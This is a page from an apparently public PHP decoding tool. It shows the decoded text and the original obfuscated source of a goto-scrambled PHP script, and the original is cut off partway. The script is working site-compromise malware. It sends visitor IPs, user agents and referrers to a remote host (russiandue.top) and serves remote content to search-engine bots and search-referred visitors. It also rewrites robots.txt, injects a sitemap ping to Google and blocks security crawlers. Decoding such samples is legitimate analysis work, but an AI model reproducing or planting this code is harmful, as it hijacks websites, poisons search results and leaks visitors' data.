Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto tIRyz; uwvOk: header("\x43\x6f\x6e\164\145\x6e\164\x2d\124\171\x70\x65\72\40\1..
Decoded Output download
<?php
goto tIRyz; uwvOk: header("Content-Type: text/xml; charset=utf-8"); goto j6yRc; ihAcM: if ($NFZUv == "500") { goto aKe3i; } goto BDgGK; Sgi8t: goto zJWR1; goto UrGXU; Cvaa6: cOTJI: goto XaTpj; qyxVL: goto mYZWm; goto N2_PB; qFWMZ: echo $NFZUv = okKwq($Vo636); goto VA9pL; i8_7o: goto sGkzD; goto jkwcd; FhEnw: $NFZUv = oKKWQ($Vo636); goto GxB90; nHbGF: $GTWA2 = urlencode($_SERVER["HTTP_REFERER"]); goto yODvM; JFbhZ: v9Zhw: goto Bievo; ZZBDt: exit; goto JqFNP; Z8Jyb: goto urdPb; goto qsAuW; qOga_: goto Ixab6; goto ZFX1G; tIRyz: error_reporting(0); goto pF_Am; Z51fm: $D72C9 = urlencode($I5YG8); goto n0d8S; Ais1s: if (strpos($vwlJZ, "favicon.ico") !== false) { goto bhf_T; } goto oX5LT; G_4K_: $WrgWw = trim($WrgWw) . "
" . "Sitemap: {$al2El}"; goto QoqvU; bEvDv: goto RMHqn; goto Cvaa6; rPZpS: RMHqn: goto QvO3i; TtnDg: @file_put_contents("uxo.txt", "0"); goto h7yX6; yOLxE: $Vo636 = $lEMi8 . "?agent={$NAsWb}&refer={$GTWA2}&lang={$Wr9E3}&ip={$D72C9}&dom={$fiJ9y}&http={$pDGb8}&uri={$vwlJZ}&pc={$nj1Ks}&rewriteable={$Tm_rR}&script={$as0Sv}"; goto CqW_W; w9bK4: $_SERVER["REQUEST_SCHEME"] = "https"; goto GhIgC; Wk1O0: if (!file_exists("uxo.txt")) { goto cKadc; } goto fhWLl; d8p4X: if (strpos($V9PHc, "index.php") !== false) { goto w8tj_; } goto KijTx; PcdtD: uRpx8: goto G_LX8; SPuQQ: exit; goto g6o6N; ifiu1: exit; goto b3LL6; lIAJ2: if (strpos($vwlJZ, "robots.txt") !== false || strpos($vwlJZ, "writerobots") !== false) { goto Rkicj; } goto Y3C63; g1UnE: Ixab6: goto WAe57; qv8da: if (empty($NFZUv)) { goto MBplg; } goto v7qn3; RRYPL: $SW8Nv = $pDGb8 . "://" . $_SERVER["HTTP_HOST"] . "/uuuuxxxxooo"; goto eL9F9; b4bX6: $NFZUv = oKKWq($Vo636); goto EqnW8; eL9F9: $NFZUv = oKKWq($SW8Nv); goto YDAxj; W2mVy: $Tm_rR = 0; goto TtnDg; soxsd: $V9PHc = "/"; goto v2y8Z; UCFar: if (!($I5YG8 == "153.246.135.238" || $I5YG8 == "219.101.44.233")) { goto VFXPG; } goto ZWVpe; zX2G2: V8It0: goto fKZ70; kIbSy: exit; goto i8_7o; MZ17q: $_SERVER["REQUEST_SCHEME"] = "http"; goto zBwzD; CbFVp: Rkicj: goto a0Z8O; SiSlM: echo $NFZUv; goto SPuQQ; a0Z8O: $Vo636 = $lEMi8 . "?agent={$NAsWb}&refer={$GTWA2}&lang={$Wr9E3}&ip={$D72C9}&dom={$fiJ9y}&http={$pDGb8}&uri={$vwlJZ}&pc={$nj1Ks}&rewriteable={$Tm_rR}&script={$as0Sv}"; goto zhvjH; K2WmA: $NFZUv = OKKwQ($Vo636); goto ihAcM; KlnL3: header("Content-Type: text/html; charset=utf-8"); goto Sgi8t; F9KDR: exit; goto PcdtD; AzPlx: if ($NFZUv == "500") { goto cBlSe; } goto uwvOk; VdG6O: $Vo636 = $lEMi8 . "?agent={$NAsWb}&refer={$GTWA2}&lang={$Wr9E3}&ip={$D72C9}&dom={$fiJ9y}&http={$pDGb8}&uri={$vwlJZ}&pc={$nj1Ks}&rewriteable={$Tm_rR}&script={$as0Sv}"; goto b4bX6; g6o6N: MBplg: goto rPZpS; AB0D3: $Vo636 = $lEMi8 . "?agent={$NAsWb}&refer={$GTWA2}&lang={$Wr9E3}&ip={$D72C9}&dom={$fiJ9y}&http={$pDGb8}&uri={$vwlJZ}&pc={$nj1Ks}&rewriteable={$Tm_rR}&script={$as0Sv}&sitemap=" . urlencode($al2El); goto FhEnw; ohjvd: goto lVsQo; goto JFbhZ; Y3C63: if (preg_match("@^/(.*?).xml$@i", $vwlJZ)) { goto Fjy0R; } goto jjPAQ; b3LL6: lcK1N: goto QG18e; R05ax: goto toA3s; goto fkA34; CQz6v: exit; goto OPhJV; yODvM: $Wr9E3 = urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]); goto m5EwU; lr6yd: echo "ok"; goto ZZBDt; CqW_W: $NFZUv = OKkwQ($Vo636); goto AzPlx; vmP88: LG3Jv: goto R05ax; cI_l7: $gGWBl = ''; goto o6Gus; RexgZ: header("HTTP/1.0 500 Internal Server Error"); goto WsiNd; ZWVpe: header("HTTP/1.0 403 Forbidden"); goto CQz6v; lIbjb: $pDGb8 = urlencode($_SERVER["REQUEST_SCHEME"]); goto kyfzQ; kyfzQ: $vwlJZ = urldecode($_SERVER["REQUEST_URI"]); goto jwqgq; jkwcd: cBlSe: goto acbnD; Bievo: $Vo636 = $lEMi8 . "?agent={$NAsWb}&refer={$GTWA2}&lang={$Wr9E3}&ip={$D72C9}&dom={$fiJ9y}&http={$pDGb8}&uri={$vwlJZ}&pc={$nj1Ks}&rewriteable={$Tm_rR}"; goto K2WmA; EqnW8: echo $NFZUv; goto Gxgx8; PWRjB: $V9PHc = "/?"; goto isUn8; LwJro: exit; goto muP2P; L18il: if (!empty($_SERVER["REQUEST_SCHEME"]) && $_SERVER["REQUEST_SCHEME"] == "https" || !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" || !empty($_SERVER["SERVER_PORT"]) && $_SERVER["SERVER_PORT"] == "443" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https") { goto rXSo9; } goto MZ17q; v2y8Z: goto XS6lD; goto zQyw5; pF_Am: function lEkQM() { goto Ytx4W; QA3Nx: goto EK6t3; goto DxKyY; pWmfk: EK6t3: goto MMTbt; fDGHI: if (getenv("HTTP_X_REAL_IP")) { goto z3OEw; } goto aQUFR; E_op_: goto EK6t3; goto x5tBR; m6KeX: if (getenv("REMOTE_ADDR")) { goto EDqsq; } goto cuSTp; aQUFR: if (getenv("HTTP_X_FORWARDED_FOR")) { goto UDqyG; } goto m6KeX; IJPPM: goto EK6t3; goto OI3K3; bysja: $D72C9 = getenv("HTTP_X_REAL_IP"); goto QA3Nx; Ytx4W: if (!getenv("HTTP_CLIENT_IP")) { goto ibcwK; } goto NvDOS; x5tBR: EDqsq: goto hr4GK; cuSTp: $D72C9 = "0.0.0.0"; goto IJPPM; hr4GK: $D72C9 = getenv("REMOTE_ADDR"); goto pWmfk; NvDOS: $D72C9 = getenv("HTTP_CLIENT_IP"); goto ndoq_; eVzvs: $D72C9 = $zozTy[0]; goto E_op_; OI3K3: z3OEw: goto bysja; IDoCf: $zozTy = explode(",", $D72C9); goto eVzvs; ndoq_: ibcwK: goto fDGHI; MMTbt: return $D72C9; goto YC9bz; DxKyY: UDqyG: goto hYjo5; hYjo5: $D72C9 = getenv("HTTP_X_FORWARDED_FOR"); goto IDoCf; YC9bz: } goto yF_v_; y4Wzj: $nj1Ks = 2734; goto QlMfu; hMz17: loo1r: goto qGPA6; WAe57: lVsQo: goto bEvDv; oX5LT: if (strpos($vwlJZ, "jp2023") !== false) { goto Low92; } goto lIAJ2; HlkVe: if (!preg_match("/(Bytespider|PetalBot|AhrefsBot|Barkrowler|MJ12bot|FeedDemon|JikeSpider|Indy Library|AskTbFXTV|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|python-requests|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|heritrix|EasouSpider|Ezooms|AmazonBot|SEMrushBot|YandexBot|paloaltonetworks|Python)/i", $_SERVER["HTTP_USER_AGENT"])) { goto fab7U; } goto Xz9TH; Ku04p: exit; goto J1QWI; SLXC9: FNWm3: goto HoLff; eEMSH: goto loo1r; goto WpCun; kNHCF: echo $al2El . ": " . $gGWBl . "<br/>"; goto bc4uP; lXY3D: echo $NFZUv; goto Ku04p; YDAxj: if ($NFZUv == "ok") { goto V8It0; } goto W2mVy; OPhJV: VFXPG: goto MI2xT; sexLe: exit; goto JF_T6; bc4uP: usleep(100 * 1000); goto AB0D3; qGPA6: $ZVqAc = "https://www.google.com/ping?sitemap="; goto u4Clc; QG18e: goto LG3Jv; goto obCZH; fkA34: bhf_T: goto qduGB; UrGXU: VU6FS: goto zQfey; qduGB: toA3s: goto Z8Jyb; v7qn3: if (!($NFZUv == "500")) { goto uRpx8; } goto QEY9v; kwVcS: $U38m0 = "bing|google|yahoo"; goto f3u6G; isUn8: XS6lD: goto hMz17; muP2P: fab7U: goto kwVcS; acbnD: header("HTTP/1.0 500 Internal Server Error"); goto sexLe; zQyw5: qtWtp: goto PWRjB; n0d8S: $fiJ9y = urlencode($_SERVER["HTTP_HOST"]); goto Yz9g5; QvO3i: goto FNWm3; goto v0u7q; G_LX8: if (substr($NFZUv, 0, 5) == "<?xml") { goto VU6FS; } goto KlnL3; N2_PB: cKadc: goto RRYPL; oWxzU: if (preg_match("/({$U38m0})/i", $_SERVER["HTTP_REFERER"])) { goto v9Zhw; } goto ohjvd; QlMfu: $NAsWb = urlencode($_SERVER["HTTP_USER_AGENT"]); goto nHbGF; QoqvU: $NFZUv = iA6R9($ZVqAc . urlencode($al2El)); goto cI_l7; h7yX6: goto GHCJe; goto zX2G2; zQfey: header("Content-Type: text/xml; charset=utf-8"); goto CCfC6; jjPAQ: if (preg_match("/({$U38m0})/i", $_SERVER["HTTP_USER_AGENT"])) { goto cOTJI; } goto oWxzU; Xz9TH: header("HTTP/1.0 403 Forbidden"); goto LwJro; H6FDd: if ($Tm_rR == 0) { goto qtWtp; } goto soxsd; jwqgq: if (!(strpos($vwlJZ, "uuuuxxxxooo") !== false)) { goto zULbo; } goto lr6yd; fKZ70: $Tm_rR = 1; goto Hk77x; Giqfv: GHCJe: goto C3HKj; TTEfa: MJxLG: goto kNHCF; u4Clc: $WrgWw = "User-agent: *
Allow: /"; goto vvX4g; EmI1d: exit; goto PGMgN; oNfkN: $NFZUv = OKkWq($Vo636); goto qv8da; vvX4g: $al2El = "{$pDGb8}://" . $fiJ9y . $V9PHc . "sitemap.xml"; goto G_4K_; Gxgx8: exit; goto vmP88; j6yRc: echo $NFZUv; goto kIbSy; XaTpj: $Vo636 = $lEMi8 . "?agent={$NAsWb}&refer={$GTWA2}&lang={$Wr9E3}&ip={$D72C9}&dom={$fiJ9y}&http={$pDGb8}&uri={$vwlJZ}&pc={$nj1Ks}&rewriteable={$Tm_rR}&script={$as0Sv}"; goto oNfkN; zBwzD: goto DXeQG; goto idxmy; obCZH: Low92: goto VdG6O; HoLff: goto lcK1N; goto CbFVp; CCfC6: zJWR1: goto SiSlM; ZFX1G: aKe3i: goto RexgZ; Hk77x: @file_put_contents("uxo.txt", "1"); goto Giqfv; KijTx: $V9PHc = $V9PHc . "?"; goto eEMSH; v0u7q: Fjy0R: goto yOLxE; MI2xT: $Tm_rR = 0; goto Wk1O0; Yz9g5: $as0Sv = urlencode($_SERVER["SCRIPT_NAME"]); goto L18il; WsiNd: exit; goto g1UnE; miigy: $V9PHc = $_SERVER["SCRIPT_NAME"]; goto d8p4X; VA9pL: @file_put_contents("robots.txt", $NFZUv); goto ifiu1; m5EwU: $I5YG8 = LEkqM(); goto Z51fm; JF_T6: sGkzD: goto SLXC9; f3u6G: $lEMi8 = "http://cw67.russiandue.top/index.php"; goto y4Wzj; JqFNP: zULbo: goto UCFar; mKIrn: $gGWBl = $xeVEA[1]; goto TTEfa; GxB90: @file_put_contents("robots.txt", $WrgWw); goto EmI1d; QEY9v: header("HTTP/1.0 500 Internal Server Error"); goto F9KDR; o6Gus: if (!preg_match("/<h2>(.+?)<\/h2>/i", $NFZUv, $xeVEA)) { goto MJxLG; } goto mKIrn; J1QWI: IK50Q: goto qOga_; BDgGK: if (empty($NFZUv)) { goto IK50Q; } goto Fw2AC; fnwFu: if (strpos($vwlJZ, "pingsitemap.xml") !== false) { goto yFWO6; } goto Ais1s; idxmy: rXSo9: goto w9bK4; yF_v_: function oKKWq($d4h7G) { goto zHvwD; my_Jq: curl_setopt($OCR6M, CURLOPT_SSL_VERIFYPEER, FALSE); goto Gzf8M; P9F22: if (!empty($vzFcY)) { goto YJZ59; } goto N4QXO; ecGCi: zKCjT: goto Yi4sf; AIwSh: curl_setopt($OCR6M, CURLOPT_RETURNTRANSFER, true); goto QIjBV; Jm65z: curl_close($OCR6M); goto s_sx5; AwAFP: curl_setopt($OCR6M, CURLOPT_URL, $d4h7G); goto AIwSh; QIjBV: curl_setopt($OCR6M, CURLOPT_FOLLOWLOCATION, false); goto Z9bHR; s_sx5: YJZ59: goto yHFqq; zHvwD: $vzFcY = @file_get_contents($d4h7G); goto P9F22; Yi4sf: $vzFcY = curl_exec($OCR6M); goto Jm65z; N4QXO: $OCR6M = curl_init(); goto AwAFP; Z9bHR: if (!(strpos($d4h7G, "https://") !== false)) { goto zKCjT; } goto my_Jq; Gzf8M: curl_setopt($OCR6M, CURLOPT_SSL_VERIFYHOST, FALSE); goto ecGCi; yHFqq: return $vzFcY; goto RYwEt; RYwEt: } goto UaLaz; zhvjH: header("Content-Type: text/plain; charset=utf-8"); goto qFWMZ; UaLaz: function Ia6r9($d4h7G) { goto NenwJ; SnjqH: if (!empty($vzFcY)) { goto yCY4Z; } goto hXAcz; fn3MD: $vzFcY = curl_exec($OCR6M); goto Dg6Hc; Lq04e: curl_setopt($OCR6M, CURLOPT_FOLLOWLOCATION, false); goto FUA3T; ZrMBk: return $vzFcY; goto G3_PO; NenwJ: $OCR6M = curl_init(); goto Im279; Dg6Hc: curl_close($OCR6M); goto SnjqH; PUzJz: curl_setopt($OCR6M, CURLOPT_SSL_VERIFYPEER, FALSE); goto Pbjwq; DOLKK: yCY4Z: goto ZrMBk; o777z: curl_setopt($OCR6M, CURLOPT_RETURNTRANSFER, true); goto Lq04e; Pbjwq: curl_setopt($OCR6M, CURLOPT_SSL_VERIFYHOST, FALSE); goto EVTJ9; hXAcz: $vzFcY = @file_get_contents($d4h7G); goto DOLKK; EVTJ9: wdSM5: goto fn3MD; Im279: curl_setopt($OCR6M, CURLOPT_URL, $d4h7G); goto o777z; FUA3T: curl_setopt($OCR6M, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); goto fl2Zz; fl2Zz: if (!(strpos($d4h7G, "https://") !== false)) { goto wdSM5; } goto PUzJz; G3_PO: } goto HlkVe; C3HKj: mYZWm: goto fnwFu; qsAuW: yFWO6: goto miigy; Fw2AC: header("HTTP/1.1 404 Not Found"); goto lXY3D; GhIgC: DXeQG: goto lIbjb; WpCun: w8tj_: goto H6FDd; fhWLl: $Tm_rR = @file_get_contents("uxo.txt"); goto qyxVL; PGMgN: urdPb:
?>
Did this file decode correctly?
Original Code
<?php
goto tIRyz; uwvOk: header("\x43\x6f\x6e\164\145\x6e\164\x2d\124\171\x70\x65\72\40\164\145\x78\x74\x2f\170\x6d\x6c\73\40\143\x68\141\x72\x73\x65\164\75\x75\164\x66\55\x38"); goto j6yRc; ihAcM: if ($NFZUv == "\65\60\x30") { goto aKe3i; } goto BDgGK; Sgi8t: goto zJWR1; goto UrGXU; Cvaa6: cOTJI: goto XaTpj; qyxVL: goto mYZWm; goto N2_PB; qFWMZ: echo $NFZUv = okKwq($Vo636); goto VA9pL; i8_7o: goto sGkzD; goto jkwcd; FhEnw: $NFZUv = oKKWQ($Vo636); goto GxB90; nHbGF: $GTWA2 = urlencode($_SERVER["\x48\x54\124\120\x5f\x52\x45\106\x45\122\x45\122"]); goto yODvM; JFbhZ: v9Zhw: goto Bievo; ZZBDt: exit; goto JqFNP; Z8Jyb: goto urdPb; goto qsAuW; qOga_: goto Ixab6; goto ZFX1G; tIRyz: error_reporting(0); goto pF_Am; Z51fm: $D72C9 = urlencode($I5YG8); goto n0d8S; Ais1s: if (strpos($vwlJZ, "\x66\x61\x76\151\x63\157\x6e\x2e\x69\143\157") !== false) { goto bhf_T; } goto oX5LT; G_4K_: $WrgWw = trim($WrgWw) . "\15\12" . "\x53\x69\164\x65\155\x61\x70\72\40{$al2El}"; goto QoqvU; bEvDv: goto RMHqn; goto Cvaa6; rPZpS: RMHqn: goto QvO3i; TtnDg: @file_put_contents("\x75\x78\x6f\56\164\170\164", "\60"); goto h7yX6; yOLxE: $Vo636 = $lEMi8 . "\77\141\x67\x65\156\164\x3d{$NAsWb}\46\x72\145\146\145\162\x3d{$GTWA2}\x26\154\141\x6e\147\75{$Wr9E3}\x26\151\x70\x3d{$D72C9}\46\144\x6f\155\75{$fiJ9y}\46\150\x74\x74\x70\75{$pDGb8}\46\x75\x72\x69\x3d{$vwlJZ}\46\160\x63\x3d{$nj1Ks}\46\162\x65\167\162\x69\x74\x65\141\142\154\x65\75{$Tm_rR}\46\163\143\x72\x69\x70\164\x3d{$as0Sv}"; goto CqW_W; w9bK4: $_SERVER["\122\x45\x51\125\105\123\x54\x5f\x53\103\x48\105\115\105"] = "\150\x74\x74\160\x73"; goto GhIgC; Wk1O0: if (!file_exists("\165\x78\157\56\164\x78\164")) { goto cKadc; } goto fhWLl; d8p4X: if (strpos($V9PHc, "\151\156\144\145\170\x2e\160\150\x70") !== false) { goto w8tj_; } goto KijTx; PcdtD: uRpx8: goto G_LX8; SPuQQ: exit; goto g6o6N; ifiu1: exit; goto b3LL6; lIAJ2: if (strpos($vwlJZ, "\x72\x6f\142\157\164\163\x2e\x74\x78\164") !== false || strpos($vwlJZ, "\x77\x72\x69\x74\x65\162\x6f\142\x6f\x74\x73") !== false) { goto Rkicj; } goto Y3C63; g1UnE: Ixab6: goto WAe57; qv8da: if (empty($NFZUv)) { goto MBplg; } goto v7qn3; RRYPL: $SW8Nv = $pDGb8 . "\x3a\x2f\x2f" . $_SERVER["\x48\124\124\x50\137\110\117\x53\x54"] . "\57\165\165\x75\x75\x78\170\x78\x78\157\157\x6f"; goto eL9F9; b4bX6: $NFZUv = oKKWq($Vo636); goto EqnW8; eL9F9: $NFZUv = oKKWq($SW8Nv); goto YDAxj; W2mVy: $Tm_rR = 0; goto TtnDg; soxsd: $V9PHc = "\57"; goto v2y8Z; UCFar: if (!($I5YG8 == "\x31\65\63\x2e\x32\x34\x36\x2e\61\x33\65\x2e\x32\x33\x38" || $I5YG8 == "\62\x31\71\56\61\60\61\x2e\x34\64\x2e\62\x33\63")) { goto VFXPG; } goto ZWVpe; zX2G2: V8It0: goto fKZ70; kIbSy: exit; goto i8_7o; MZ17q: $_SERVER["\122\105\x51\x55\x45\x53\124\x5f\123\x43\110\105\115\105"] = "\x68\164\164\x70"; goto zBwzD; CbFVp: Rkicj: goto a0Z8O; SiSlM: echo $NFZUv; goto SPuQQ; a0Z8O: $Vo636 = $lEMi8 . "\77\x61\147\x65\x6e\164\x3d{$NAsWb}\46\x72\145\146\x65\x72\x3d{$GTWA2}\46\x6c\x61\x6e\x67\x3d{$Wr9E3}\x26\151\160\x3d{$D72C9}\x26\x64\157\155\x3d{$fiJ9y}\46\150\x74\164\160\x3d{$pDGb8}\46\x75\162\151\x3d{$vwlJZ}\x26\160\143\75{$nj1Ks}\x26\162\x65\x77\x72\151\164\x65\141\142\154\145\75{$Tm_rR}\x26\x73\143\162\151\160\x74\75{$as0Sv}"; goto zhvjH; K2WmA: $NFZUv = OKKwQ($Vo636); goto ihAcM; KlnL3: header("\x43\157\156\164\145\156\164\55\124\x79\160\145\x3a\40\164\x65\170\164\57\x68\164\155\x6c\x3b\40\143\x68\x61\x72\x73\x65\x74\75\165\164\x66\x2d\x38"); goto Sgi8t; F9KDR: exit; goto PcdtD; AzPlx: if ($NFZUv == "\x35\x30\60") { goto cBlSe; } goto uwvOk; VdG6O: $Vo636 = $lEMi8 . "\77\141\147\145\156\x74\x3d{$NAsWb}\x26\x72\x65\x66\x65\162\x3d{$GTWA2}\x26\154\141\x6e\147\75{$Wr9E3}\46\151\160\75{$D72C9}\x26\x64\x6f\155\x3d{$fiJ9y}\x26\150\164\164\160\75{$pDGb8}\x26\x75\162\x69\x3d{$vwlJZ}\x26\160\x63\75{$nj1Ks}\46\x72\145\x77\162\x69\x74\145\141\142\x6c\x65\75{$Tm_rR}\x26\x73\x63\x72\151\x70\x74\x3d{$as0Sv}"; goto b4bX6; g6o6N: MBplg: goto rPZpS; AB0D3: $Vo636 = $lEMi8 . "\x3f\x61\147\x65\156\164\75{$NAsWb}\46\162\145\146\x65\162\75{$GTWA2}\46\154\141\x6e\147\x3d{$Wr9E3}\x26\x69\160\x3d{$D72C9}\46\144\157\x6d\x3d{$fiJ9y}\46\150\164\x74\x70\75{$pDGb8}\x26\165\162\x69\75{$vwlJZ}\46\160\x63\x3d{$nj1Ks}\x26\162\145\x77\162\151\x74\145\x61\142\154\x65\75{$Tm_rR}\x26\x73\x63\162\151\160\x74\75{$as0Sv}\x26\163\x69\x74\x65\155\x61\160\75" . urlencode($al2El); goto FhEnw; ohjvd: goto lVsQo; goto JFbhZ; Y3C63: if (preg_match("\x40\x5e\x2f\x28\56\x2a\77\x29\x2e\x78\x6d\154\44\100\x69", $vwlJZ)) { goto Fjy0R; } goto jjPAQ; b3LL6: lcK1N: goto QG18e; R05ax: goto toA3s; goto fkA34; CQz6v: exit; goto OPhJV; yODvM: $Wr9E3 = urlencode($_SERVER["\x48\124\124\120\137\x41\103\x43\x45\x50\x54\x5f\x4c\x41\116\x47\x55\x41\x47\x45"]); goto m5EwU; lr6yd: echo "\157\x6b"; goto ZZBDt; CqW_W: $NFZUv = OKkwQ($Vo636); goto AzPlx; vmP88: LG3Jv: goto R05ax; cI_l7: $gGWBl = ''; goto o6Gus; RexgZ: header("\110\x54\124\x50\57\61\x2e\x30\x20\x35\x30\x30\40\111\156\x74\145\x72\x6e\141\x6c\x20\123\x65\x72\x76\x65\162\x20\x45\162\x72\157\x72"); goto WsiNd; ZWVpe: header("\110\124\x54\x50\57\61\56\x30\40\64\x30\x33\x20\x46\x6f\x72\x62\151\144\144\x65\x6e"); goto CQz6v; lIbjb: $pDGb8 = urlencode($_SERVER["\x52\x45\x51\x55\105\123\124\137\123\x43\110\105\x4d\x45"]); goto kyfzQ; kyfzQ: $vwlJZ = urldecode($_SERVER["\x52\105\121\x55\x45\x53\x54\137\x55\122\111"]); goto jwqgq; jkwcd: cBlSe: goto acbnD; Bievo: $Vo636 = $lEMi8 . "\x3f\141\x67\x65\x6e\x74\75{$NAsWb}\x26\162\145\x66\x65\162\x3d{$GTWA2}\46\x6c\141\x6e\147\75{$Wr9E3}\x26\x69\160\x3d{$D72C9}\x26\x64\157\155\75{$fiJ9y}\46\150\164\164\160\75{$pDGb8}\x26\x75\x72\x69\x3d{$vwlJZ}\x26\160\x63\75{$nj1Ks}\46\x72\145\167\x72\x69\x74\145\x61\x62\x6c\x65\x3d{$Tm_rR}"; goto K2WmA; EqnW8: echo $NFZUv; goto Gxgx8; PWRjB: $V9PHc = "\x2f\77"; goto isUn8; LwJro: exit; goto muP2P; L18il: if (!empty($_SERVER["\122\x45\x51\x55\x45\x53\x54\137\123\x43\110\105\x4d\105"]) && $_SERVER["\122\105\x51\x55\x45\123\124\x5f\123\x43\110\x45\115\x45"] == "\x68\164\164\160\x73" || !empty($_SERVER["\x48\x54\x54\x50\123"]) && $_SERVER["\110\x54\124\120\123"] == "\x6f\156" || !empty($_SERVER["\123\x45\122\126\105\x52\137\x50\117\122\x54"]) && $_SERVER["\x53\x45\x52\126\105\x52\x5f\x50\117\122\x54"] == "\64\x34\63" || isset($_SERVER["\x48\124\124\120\137\x58\137\x46\117\x52\x57\x41\122\x44\105\x44\x5f\x50\x52\x4f\124\117"]) && $_SERVER["\x48\124\124\x50\137\130\137\106\117\x52\x57\101\122\104\105\x44\137\120\x52\x4f\x54\117"] == "\x68\x74\164\x70\x73") { goto rXSo9; } goto MZ17q; v2y8Z: goto XS6lD; goto zQyw5; pF_Am: function lEkQM() { goto Ytx4W; QA3Nx: goto EK6t3; goto DxKyY; pWmfk: EK6t3: goto MMTbt; fDGHI: if (getenv("\110\124\124\x50\x5f\130\x5f\122\x45\x41\x4c\x5f\111\x50")) { goto z3OEw; } goto aQUFR; E_op_: goto EK6t3; goto x5tBR; m6KeX: if (getenv("\122\x45\x4d\x4f\124\x45\x5f\x41\104\x44\x52")) { goto EDqsq; } goto cuSTp; aQUFR: if (getenv("\x48\124\x54\x50\137\x58\x5f\106\117\x52\127\101\122\104\105\104\137\x46\x4f\122")) { goto UDqyG; } goto m6KeX; IJPPM: goto EK6t3; goto OI3K3; bysja: $D72C9 = getenv("\110\124\x54\120\137\130\x5f\x52\x45\101\x4c\137\x49\120"); goto QA3Nx; Ytx4W: if (!getenv("\110\x54\124\x50\137\103\114\111\x45\x4e\124\x5f\111\x50")) { goto ibcwK; } goto NvDOS; x5tBR: EDqsq: goto hr4GK; cuSTp: $D72C9 = "\60\56\x30\x2e\60\56\60"; goto IJPPM; hr4GK: $D72C9 = getenv("\x52\105\115\x4f\124\x45\137\x41\x44\x44\x52"); goto pWmfk; NvDOS: $D72C9 = getenv("\x48\x54\x54\x50\137\103\114\x49\x45\116\x54\x5f\x49\x50"); goto ndoq_; eVzvs: $D72C9 = $zozTy[0]; goto E_op_; OI3K3: z3OEw: goto bysja; IDoCf: $zozTy = explode("\x2c", $D72C9); goto eVzvs; ndoq_: ibcwK: goto fDGHI; MMTbt: return $D72C9; goto YC9bz; DxKyY: UDqyG: goto hYjo5; hYjo5: $D72C9 = getenv("\110\124\124\120\137\x58\137\106\x4f\122\127\x41\122\x44\105\x44\x5f\106\x4f\x52"); goto IDoCf; YC9bz: } goto yF_v_; y4Wzj: $nj1Ks = 2734; goto QlMfu; hMz17: loo1r: goto qGPA6; WAe57: lVsQo: goto bEvDv; oX5LT: if (strpos($vwlJZ, "\152\160\x32\x30\62\x33") !== false) { goto Low92; } goto lIAJ2; HlkVe: if (!preg_match("\57\x28\x42\171\164\x65\163\x70\151\144\x65\162\174\120\145\164\141\x6c\102\157\x74\174\101\x68\x72\x65\146\x73\102\157\x74\x7c\102\141\x72\153\162\157\167\x6c\145\x72\x7c\x4d\x4a\61\x32\142\x6f\x74\x7c\106\x65\145\144\x44\145\x6d\x6f\156\174\112\x69\153\x65\x53\160\151\144\x65\x72\x7c\111\x6e\x64\x79\40\114\151\142\x72\x61\x72\x79\174\x41\x73\153\124\x62\x46\130\x54\x56\x7c\103\162\x61\x77\154\x44\x61\x64\x64\x79\174\x43\157\157\154\x70\141\x64\x57\x65\142\153\x69\164\x7c\112\x61\x76\x61\x7c\x46\145\145\x64\x6c\171\174\125\156\x69\166\145\x72\163\141\154\106\145\x65\144\120\141\x72\x73\145\x72\x7c\x41\x70\x61\143\x68\145\x42\145\x6e\x63\150\174\123\167\151\146\164\x62\157\164\x7c\132\x6d\105\x75\174\x6f\102\157\164\174\x6a\x61\x75\156\164\x79\x7c\120\x79\x74\150\157\156\55\x75\x72\154\154\x69\142\x7c\160\171\164\150\157\156\55\x72\x65\x71\165\145\163\164\x73\x7c\x6c\x69\147\150\164\104\145\143\153\122\145\x70\157\x72\x74\163\x20\x42\x6f\164\x7c\131\x59\123\160\x69\144\145\162\174\104\151\147\105\x78\x74\174\131\151\163\x6f\x75\x53\x70\151\x64\145\162\x7c\x48\164\164\160\x43\154\151\x65\156\164\174\150\x65\162\151\164\162\x69\x78\x7c\105\x61\163\x6f\x75\x53\x70\151\144\145\x72\174\105\x7a\157\x6f\x6d\163\x7c\101\x6d\x61\172\157\x6e\x42\157\x74\174\123\x45\115\x72\x75\x73\150\102\157\164\x7c\x59\141\156\x64\145\x78\x42\157\164\174\x70\141\x6c\x6f\x61\x6c\164\157\x6e\x65\164\x77\x6f\162\153\x73\174\x50\x79\x74\150\x6f\x6e\x29\57\151", $_SERVER["\110\124\124\120\x5f\x55\123\105\x52\137\x41\107\105\x4e\124"])) { goto fab7U; } goto Xz9TH; Ku04p: exit; goto J1QWI; SLXC9: FNWm3: goto HoLff; eEMSH: goto loo1r; goto WpCun; kNHCF: echo $al2El . "\x3a\x20" . $gGWBl . "\74\142\x72\57\76"; goto bc4uP; lXY3D: echo $NFZUv; goto Ku04p; YDAxj: if ($NFZUv == "\157\153") { goto V8It0; } goto W2mVy; OPhJV: VFXPG: goto MI2xT; sexLe: exit; goto JF_T6; bc4uP: usleep(100 * 1000); goto AB0D3; qGPA6: $ZVqAc = "\150\x74\164\x70\x73\72\x2f\x2f\x77\167\x77\56\x67\157\x6f\147\x6c\x65\56\143\x6f\155\x2f\x70\151\156\147\77\163\x69\164\145\x6d\141\160\75"; goto u4Clc; QG18e: goto LG3Jv; goto obCZH; fkA34: bhf_T: goto qduGB; UrGXU: VU6FS: goto zQfey; qduGB: toA3s: goto Z8Jyb; v7qn3: if (!($NFZUv == "\65\x30\x30")) { goto uRpx8; } goto QEY9v; kwVcS: $U38m0 = "\x62\x69\156\147\x7c\147\x6f\x6f\147\154\x65\x7c\171\x61\150\x6f\157"; goto f3u6G; isUn8: XS6lD: goto hMz17; muP2P: fab7U: goto kwVcS; acbnD: header("\x48\x54\124\120\x2f\61\56\60\x20\65\60\60\x20\111\x6e\x74\x65\x72\x6e\x61\154\40\123\145\x72\x76\x65\162\40\x45\x72\x72\157\162"); goto sexLe; zQyw5: qtWtp: goto PWRjB; n0d8S: $fiJ9y = 